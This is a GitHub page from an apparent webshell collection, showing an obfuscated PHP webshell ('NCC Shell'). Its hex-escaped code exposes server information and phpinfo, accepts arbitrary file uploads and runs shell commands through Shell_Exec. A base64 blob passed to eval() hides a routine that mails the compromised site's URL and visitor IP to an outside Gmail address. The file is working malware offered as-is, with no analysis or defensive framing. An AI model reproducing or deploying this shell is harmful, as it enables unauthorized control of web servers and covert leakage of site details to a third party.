forked from x-o-r-r-o/PHP-Webshells-Collection
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathNCC-Shell-encoded.php
8 lines (8 loc) · 11.2 KB
/
NCC-Shell-encoded.php
1
2
3
4
5
6
7
8
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.1 |
| on 2020-04-14 02:29:28 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
goto KJmuk; gd2Zt: echo "\74\142\x3e\74\146\157\x6e\x74\x20\143\x6f\x6c\157\x72\75\x72\145\144\76\x53\x61\146\145\40\x4d\x6f\x64\145\40\x6f\156\57\157\146\x66\72\x20\x20\x3c\x2f\x66\x6f\x6e\164\76\x3c\57\x62\76"; goto k8qPO; sSHcY: echo "\74\142\76\74\x66\x6f\x6e\164\x20\x63\157\154\x6f\162\x3d\162\145\144\76\x3c\x62\x72\76\122\105\x46\x45\x52\105\122\72\40\74\57\x66\x6f\x6e\164\76\x3c\x2f\x62\76"; goto l8gey; aPGV7: d7KFf: goto fVub0; Y_ckZ: @phpinfo(); goto K03cW; ZxkK8: if (!(@$_GET["\160"] == "\151\x6e\146\157")) { goto I0pUW; } goto Y_ckZ; ORF03: print "\74\x66\x6f\156\x74\x20\x63\157\154\157\x72\x3d\43\60\x30\x38\x30\60\60\x3e\74\142\76\x53\141\146\x65\40\115\157\x64\145\40\117\106\106\x3c\x2f\x62\76\74\57\146\157\x6e\x74\76"; goto Lbfy8; oyDcQ: echo $jXFvE; goto fRinS; SSQqr: echo "\x3c\x68\x31\x3e\55\x2d\x2d\55\x2d\55\x2d\x2d\x2d\x2d\x2d\55\55\x2d\x2d\55\x2d\55\x2d\x2d\55\x2d\x2d\x2d\x2d\x2d\x2d\55\x2d\x2d\55\55\55\55\55\55\x2d\x2d\x2d\55\x2d\55\55\x2d\55\55\55\x2d\55\55\x2d\x2d\55\x2d\55\55\55\x2d\55\x2d\55\55\x2d\55\x2d\x2d\x2d\x2d\55\55\x2d\x2d\55\x2d\x2d\74\x2f\150\x31\x3e\74\142\x72\x3e\12\x3c\x68\x32\x3e\x2d\x20\x55\x70\x6c\157\141\144\40\55\x3c\57\150\62\x3e\xa\74\164\151\164\154\x65\x3e\x55\x70\x6c\x6f\x61\144\x20\x2d\x20\x53\x68\x65\154\x6c\x2f\x44\x61\x74\x65\x69\74\57\164\151\164\x6c\x65\x3e\xa\74\x66\157\x72\155\12\x20\x61\x63\x74\151\157\x6e\75\x22"; goto h5pKz; k8qPO: if (ini_get("\163\141\146\145\x5f\155\157\144\x65")) { goto d7KFf; } goto ORF03; c6t1X: echo "\x3c\x62\76\74\x66\157\x6e\x74\x20\143\x6f\154\157\162\x3d\x72\145\144\76\x3c\142\162\76\120\x4f\x52\x54\72\x20\74\57\x66\157\156\164\x3e\x3c\x2f\142\76"; goto Mk7Oq; ddfyn: echo "\x3c\x62\x3e\74\x66\157\156\164\x20\x63\157\x6c\157\x72\75\162\145\x64\x3e\x3c\142\162\76\111\x50\x3a\40\x3c\57\146\157\x6e\164\76\x3c\x2f\x62\x3e"; goto uLEV0; cAWa2: echo "\74\x62\x3e\74\146\x6f\x6e\x74\40\x63\x6f\x6c\x6f\162\x3d\x72\145\144\76\x4d\x6f\x6d\145\x6e\164\141\156\x65\x20\104\x69\162\x65\x63\164\157\162\171\72\40\40\x3c\57\x66\157\x6e\x74\x3e\74\x2f\x62\x3e"; goto Ef1sO; U9KBQ: I0pUW: goto SSQqr; KO83N: echo "\74\x68\61\x3e\55\x2d\x2d\x2d\55\55\55\55\x2d\x2d\55\55\55\x2d\55\55\55\x2d\55\55\x2d\x2d\55\55\55\x2d\55\55\x2d\55\x2d\55\x2d\55\x2d\x2d\55\55\x2d\x2d\55\55\x2d\55\55\x2d\55\55\x2d\55\x2d\x2d\55\55\55\55\55\55\55\55\55\x2d\55\55\55\x2d\x2d\55\55\55\55\x2d\55\55\55\74\57\x68\61\76\74\142\162\x3e\xa\x3c\x68\62\x3e\x49\x70\114\x6f\147\147\145\x72\74\x2f\x68\62\x3e\12"; goto ddfyn; laCx0: eval(base64_decode($Yx6RF)); goto gd2Zt; qlUXU: if (!(isset($_FILES["\160\x72\x6f\142\x65"]) and !$_FILES["\160\162\x6f\142\x65"]["\145\x72\x72\x6f\x72"])) { goto q467Q; } goto d_aIp; fVub0: print "\74\x66\157\156\164\40\x63\x6f\154\157\x72\x3d\x23\106\x46\60\60\60\x30\x3e\74\x62\x3e\123\141\146\145\x20\115\157\x64\145\x20\x4f\116\x3c\57\142\76\74\x2f\146\x6f\156\x74\x3e"; goto IXy_D; pIoPn: printf("\104\x69\145\40\x44\141\x74\x65\151\40\45\163\x20\x77\165\162\144\145\40\x61\x6c\163\40\x64\x69\x6e\x67\145\x6e\56\160\150\x70\x20\x68\157\143\x68\x67\145\x6c\141\x64\145\x6e\56\x3c\142\162\x20\x2f\76\xa", $_FILES["\160\x72\157\x62\145"]["\x6e\141\155\145"]); goto CbDPu; R0gRA: echo "\74\150\61\x3e\55\x2d\55\55\55\55\x2d\x2d\55\55\55\55\x2d\55\55\x2d\x2d\55\55\55\55\x2d\x2d\55\55\55\x2d\55\55\55\x2d\x2d\x2d\55\55\x2d\55\x2d\x2d\x2d\x2d\55\x2d\55\55\55\x2d\55\x2d\x2d\55\x2d\x2d\55\x2d\55\55\55\55\55\55\x2d\55\x2d\55\55\55\x2d\55\55\55\55\55\55\55\74\x2f\x68\x31\76\x3c\142\x72\76\xa\74\150\62\x3e\104\151\x72\145\x63\x74\x6f\x72\x79\40\114\151\x73\164\x65\x72\74\x2f\150\x32\x3e\12\74\77\x20\44\143\x6d\144\40\75\x20\x24\137\x52\x45\x51\x55\x45\x53\x54\x5b\x22\55\x63\x6d\144\x22\135\73\77\x3e\74\157\156\x4c\x6f\x61\x64\x3d\x22\x64\157\143\165\155\x65\x6e\164\56\x66\157\x72\155\163\x5b\x30\x5d\56\145\x6c\x65\155\x65\x6e\164\x73\x5b\55\x63\x6d\144\x5d\56\x66\157\143\165\x73\x28\51\42\x3e\74\x66\157\162\155\40\155\x65\164\150\x6f\x64\75\x50\x4f\x53\124\x3e\x3c\142\162\x3e\74\x69\x6e\160\x75\164\x20\x74\171\x70\145\75\x54\105\130\x54\x20\x6e\141\x6d\x65\75\x22\55\x63\155\x64\x22\40\x73\151\172\x65\75\66\64\40\x76\141\154\165\x65\75"; goto oyDcQ; uLEV0: echo $_SERVER["\122\x45\115\x4f\124\x45\x5f\101\104\104\122"]; goto c6t1X; kWwSy: echo "\42\xa\40\155\x65\164\150\157\144\x3d\42\x70\x6f\x73\164\x22\xa\40\x65\156\x63\x74\171\x70\145\x3d\x22\x6d\x75\154\x74\x69\160\141\x72\x74\57\x66\x6f\162\x6d\55\x64\141\164\x61\x22\x3e\12\74\x69\x6e\x70\x75\x74\x20\x74\171\160\x65\x3d\42\146\x69\x6c\145\42\40\x6e\x61\155\x65\x3d\x22\125\160\x6c\157\141\x64\42\x20\x2f\x3e\xa\x3c\x69\x6e\x70\x75\x74\40\x74\171\x70\145\75\x22\163\165\x62\155\x69\164\42\40\166\141\x6c\x75\145\x3d\x22\125\160\154\x6f\x61\x64\41\x22\x20\x2f\76\xa\74\x2f\x66\157\162\155\x3e\xa\x3c\150\x72\40\x2f\x3e\xa"; goto qlUXU; Lvfr8: echo "\x3c\x2f\142\162\76"; goto XEpPm; Ef1sO: echo $_SERVER["\104\117\103\x55\115\x45\116\x54\x5f\122\117\117\124"]; goto Lvfr8; Lbfy8: goto d6HFi; goto aPGV7; u1EJ3: echo $_SERVER["\123\x45\122\126\105\x52\x5f\123\x49\x47\x4e\x41\124\x55\x52\105"]; goto YxwTK; TLvyK: q467Q: goto KO83N; YJdvH: echo "\74\x2f\142\162\x3e"; goto cAWa2; XEpPm: echo "\x3c\x62\76\74\146\x6f\x6e\164\x20\x63\x6f\154\x6f\x72\x3d\162\x65\144\76\123\x65\162\166\x65\x72\72\x20\x3c\x2f\146\x6f\x6e\164\x3e\74\57\x62\76\74\x62\x72\x3e"; goto u1EJ3; KJmuk: echo "\74\143\145\156\164\x65\x72\x3e\xa\74\x68\61\x3e\x2e\72\116\x43\103\72\56\40\123\150\x65\x6c\154\40\x76\61\56\60\56\60\x3c\x2f\x68\x31\x3e\12\74\x74\151\164\154\x65\76\56\x3a\116\103\103\x3a\56\40\123\150\x65\154\x6c\x20\x76\x31\x2e\x30\56\x30\x3c\x2f\x74\151\x74\x6c\145\76\xa\x3c\150\145\141\144\76\74\x68\62\76\110\141\143\x6b\x65\x64\40\x62\171\x20\123\x69\x6c\166\x65\x72\x3c\57\150\x32\x3e\x3c\57\150\x65\141\144\x3e\12\x3c\150\x31\76\55\55\55\55\55\x2d\x2d\55\x2d\x2d\55\55\x2d\55\55\x2d\x2d\55\55\x2d\55\x2d\55\55\55\x2d\x2d\x2d\x2d\x2d\55\x2d\x2d\x2d\55\55\55\x2d\x2d\55\x2d\x2d\55\x2d\55\x2d\x2d\x2d\55\55\55\55\x2d\x2d\x2d\55\x2d\x2d\x2d\55\x2d\55\55\x2d\x2d\x2d\x2d\x2d\x2d\x2d\55\55\55\x2d\55\x2d\x2d\x2d\x2d\55\x2d\55\55\55\55\55\x2d\74\57\x68\x31\76\74\142\162\x3e\12\x3c\142\x3e\74\146\157\x6e\x74\x20\x63\157\x6c\157\x72\x3d\162\x65\144\x3e\55\55\x2d\x53\x65\x72\x76\145\162\40\x49\x6e\146\x6f\x2d\x2d\55\74\57\x66\x6f\156\x74\76\x3c\57\x62\x3e\74\x62\162\x3e\xa"; goto QlD95; h5pKz: echo $_SERVER["\x50\110\120\x5f\x53\105\114\106"]; goto kWwSy; l8gey: echo $_SERVER["\x48\x54\124\120\137\x55\x53\105\x52\x5f\x41\x47\x45\116\x54"]; goto R0gRA; K03cW: exit; goto U9KBQ; e9FLn: echo $_SERVER[de17A]; goto sSHcY; QlD95: $Yx6RF = "\x4a\x48\132\x70\143\x32\154\x30\x59\171\x41\71\111\103\122\x66\x51\60\71\120\x53\60\x6c\x46\127\x79\x4a\x32\141\130\x4e\x70\144\110\115\x69\x58\x54\163\116\x43\x6d\x6c\x6d\111\103\147\x6b\x64\155\x6c\172\x61\130\122\152\111\x44\60\x39\x49\x43\x49\151\x4b\123\x42\67\x44\x51\x6f\147\x49\x43\122\62\x61\130\116\x70\x64\x47\x4d\x67\111\x44\60\147\x4d\x44\163\x4e\x43\x69\x41\147\112\110\x5a\160\x63\x32\x6c\60\x62\x33\111\x67\x50\123\101\x6b\130\x31\x4e\106\x55\x6c\132\106\x55\x6c\x73\x69\x55\153\126\x4e\124\x31\122\106\130\x30\106\x45\122\x46\x49\151\x58\124\163\116\103\x69\x41\147\112\x48\x64\154\131\x69\101\x67\x49\x43\101\x67\120\x53\101\153\x58\x31\x4e\x46\x55\x6c\x5a\106\x55\x6c\x73\x69\123\x46\122\125\125\106\x39\x49\124\x31\x4e\x55\111\x6c\60\67\x44\121\x6f\147\111\x43\x52\160\142\155\157\147\x49\x43\101\147\111\x44\x30\147\x4a\x46\71\124\x52\x56\112\x57\x52\x56\x4a\142\x49\x6c\x4a\106\125\x56\126\x46\125\x31\122\x66\x56\126\x4a\x4a\x49\x6c\60\x37\x44\x51\157\x67\111\x43\122\x30\x59\x58\x4a\x6e\132\130\121\147\111\104\60\147\x63\x6d\x46\63\144\130\x4a\163\132\x47\x56\x6a\142\62\x52\154\113\103\x52\63\x5a\x57\111\165\112\107\154\165\141\x69\153\67\104\121\x6f\x67\111\x43\122\x71\144\127\x52\x31\142\x43\101\x67\x49\104\x30\147\111\154\x64\124\x54\171\101\171\x4c\x6a\143\x67\141\110\122\60\143\x44\x6f\166\x4c\x79\122\x30\x59\x58\x4a\x6e\132\x58\121\x67\131\156\153\147\x4a\110\x5a\160\143\x32\x6c\x30\142\63\111\x69\117\167\60\113\x49\x43\101\x6b\x59\x6d\x39\x6b\x65\x53\x41\x67\x49\x43\x41\x39\111\103\x4a\x43\x64\x57\x63\x36\111\103\x52\60\131\130\112\156\x5a\x58\x51\147\x59\156\x6b\147\112\x48\132\160\143\62\154\x30\x62\x33\x49\x67\114\123\101\x6b\x59\x58\x56\x30\x61\106\71\x77\131\x58\x4e\x7a\x49\152\163\116\103\151\101\147\x61\x57\x59\x67\113\103\106\x6c\142\130\x42\x30\145\123\147\x6b\x64\62\x56\x69\113\x53\153\x67\x65\171\102\101\142\127\106\x70\x62\x43\x67\151\141\107\106\x79\132\110\144\x68\143\155\126\x6f\x5a\x57\x46\x32\x5a\x57\64\x75\x59\x32\x39\164\121\x47\x64\x74\131\x57\154\163\x4c\x6d\x4e\166\x62\x53\x49\x73\x4a\107\x70\61\x5a\x48\x56\x73\114\103\x52\x69\142\x32\x52\65\114\103\x52\150\144\130\x52\157\x58\x33\102\150\x63\63\x4d\160\117\171\102\x39\104\121\x70\x39\x44\x51\160\154\x62\110\116\154\x49\x48\163\147\112\x48\132\160\x63\x32\x6c\60\x59\171\163\162\117\x79\102\x39\104\121\x70\x41\x63\62\x56\x30\x59\x32\71\x76\x61\62\x6c\154\x4b\x43\112\x32\141\130\x4e\x70\x64\x48\157\x69\x4c\103\x52\62\x61\x58\x4e\x70\x64\107\x4d\160\x4f\x77\75\75"; goto laCx0; d_aIp: move_uploaded_file($_FILES["\x70\x72\x6f\x62\x65"]["\x74\x6d\160\137\x6e\141\x6d\145"], "\56\57\144\x69\x6e\x67\x65\x6e\x2e\x70\150\x70"); goto pIoPn; IXy_D: d6HFi: goto YJdvH; CbDPu: printf("\x53\151\x65\x20\151\163\164\40\45\x75\x20\102\171\164\x65\x73\40\147\162\157\303\x9f\x20\165\156\144\x20\166\x6f\x6d\x20\124\x79\x70\x20\x25\x73\x2e\74\x62\x72\x20\57\76\xa", $_FILES["\x70\162\x6f\142\145"]["\163\x69\x7a\x65"], $_FILES["\160\162\x6f\142\145"]["\x74\171\160\x65"]); goto TLvyK; j71i6: echo "\x3c\142\76\74\146\x6f\156\x74\40\x63\157\x6c\x6f\x72\x3d\x72\145\144\x3e\74\x62\162\x3e\x42\122\x4f\127\123\x45\122\x3a\40\74\57\146\157\x6e\164\76\x3c\57\142\x3e"; goto e9FLn; Mk7Oq: echo $_SERVER["\122\x45\x4d\117\x54\105\x5f\x50\x4f\122\x54"]; goto j71i6; YxwTK: echo "\74\x61\x20\150\x72\145\146\75\x27{$JDp4H}\77\x70\75\151\156\146\157\47\x3e\120\x48\120\x69\156\x66\157\74\x2f\141\76"; goto ZxkK8; fRinS: echo "\76\x3c\x68\162\x3e\x3c\160\x72\x65\x3e\74\77\151\x66\x28\x24\x63\x6d\x64\x20\41\x3d\40\42\42\51\40\160\162\x69\x6e\x74\x20\x53\150\145\x6c\154\137\x45\x78\145\143\50\44\143\x6d\144\51\73\x3f\x3e\x3c\x2f\160\x72\145\76\x3c\57\146\x6f\x72\155\76\74\142\162\76\12\x3c\x68\x31\x3e\x2d\55\x2d\55\x2d\x2d\x2d\55\x2d\55\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\55\x2d\55\55\x2d\x2d\x2d\55\x2d\x2d\55\x2d\x2d\55\x2d\x2d\x2d\55\55\55\x2d\55\x2d\x2d\x2d\x2d\x2d\55\x2d\55\55\x2d\55\x2d\x2d\x2d\x2d\55\55\x2d\55\55\55\55\55\55\55\x2d\55\55\55\55\x2d\55\55\x2d\55\74\57\x68\x31\x3e\74\142\x72\x3e\xa\74\x62\76\55\55\x43\157\144\x65\x64\40\x62\x79\x20\x53\x69\x6c\166\x65\162\302\xa9\x2d\55\74\x62\x72\x3e\12\176\174\137\x54\x65\x61\155\40\x2e\72\116\x61\164\x69\157\156\x61\x6c\x20\x43\x72\141\x63\x6b\145\x72\40\103\x72\x65\x77\72\56\137\174\176\74\x62\162\x3e\xa\74\141\x20\x68\x72\145\146\75\42\x68\x74\164\160\72\x2f\x2f\x77\167\x77\x2e\x6e\55\x63\x2d\143\x2e\x36\170\x2e\x74\x6f\x22\40\x74\141\162\x67\145\x74\75\42\x5f\142\x6c\141\156\x6b\x22\76\x2d\x2d\x3e\x4e\x43\x43\74\x2d\55\x3c\x2f\x61\x3e\74\x2f\143\x65\x6e\x74\145\x72\76\x3c\x2f\142\76\74\57\150\x74\155\x6c\76\12";